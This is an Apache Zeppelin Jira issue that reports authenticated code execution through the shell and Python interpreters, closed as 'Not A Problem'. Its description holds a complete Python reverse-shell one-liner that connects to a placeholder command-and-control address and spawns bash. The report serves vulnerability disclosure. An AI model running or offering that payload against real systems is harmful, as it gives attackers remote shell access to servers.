[ZEPPELIN-4287] Remote Code Execution

• Type: Bug
• Status: Resolved
• Priority: Blocker
• Resolution: Not A Problem
• Affects Version/s: 0.8.0
• Component/s: Interpreters
• Labels: SECURITY SecurityGroups security security-issue
• Assignee: Lee Moon Soo
• Reporter: GuruRaj
• Created: 01/Aug/19 09:40
• Updated: 17/Sep/19 21:26
• Resolved: 17/Sep/19 21:11

Description

Hi Team,
 
We have noticed that zeppelin is vulnerable to Remote code execution, where authenticated user will be able to execute arbitrary code on the server with help of Interpreter.
 
Case1: User can select the shell interpreter and execute the OS command directly and can get the reverse shell from there if needed.
 
Case2: User can select any other interrupter like python and get to execute the OS commands from there. For example we can get the reverse shell from the below code
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<c&c ip>",<port no>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' 
 

Issue Links

• relates to: ZEPPELIN-4166 Zeppelin listens on all interfaces by default, with anonymous access